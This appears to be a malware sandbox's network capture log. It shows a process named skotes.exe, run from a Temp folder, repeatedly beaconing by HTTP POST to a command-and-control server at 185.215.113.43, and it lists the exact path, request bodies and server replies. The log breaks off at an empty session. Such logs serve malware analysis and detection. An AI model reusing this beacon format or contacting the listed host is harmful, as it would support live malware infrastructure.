Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50129	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:31.640058041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:32.580568075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50130	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:34.170681953 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:35.085834980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50131	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:36.713277102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:37.626008034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50132	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:39.137207031 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:40.055088997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50133	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:41.860622883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:42.772341013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50134	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:44.279438972 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:45.188235998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50135	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:46.925940037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:47.845194101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50136	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:49.514647007 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:50.447947025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50137	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:52.077230930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:52.984042883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50138	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:54.499887943 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:55.407459974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50139	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:57.031629086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:57.929130077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50141	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:59.437360048 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:00.346605062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50142	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:01.988559961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:03.126087904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 10:39:03.126117945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50143	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:04.641823053 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:05.581027031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50144	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:07.219485998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50145	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:08.750675917 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:09.664463997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50146	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:11.297733068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:12.219134092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50147	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:13.735922098 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:14.662662983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50148	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:16.297317982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:17.205589056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50149	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:18.721576929 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50150	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:20.847558975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:21.779387951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50152	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:23.298260927 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:39:24.210845947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50155	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:39:25.834320068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:39:26.750468016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50156	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
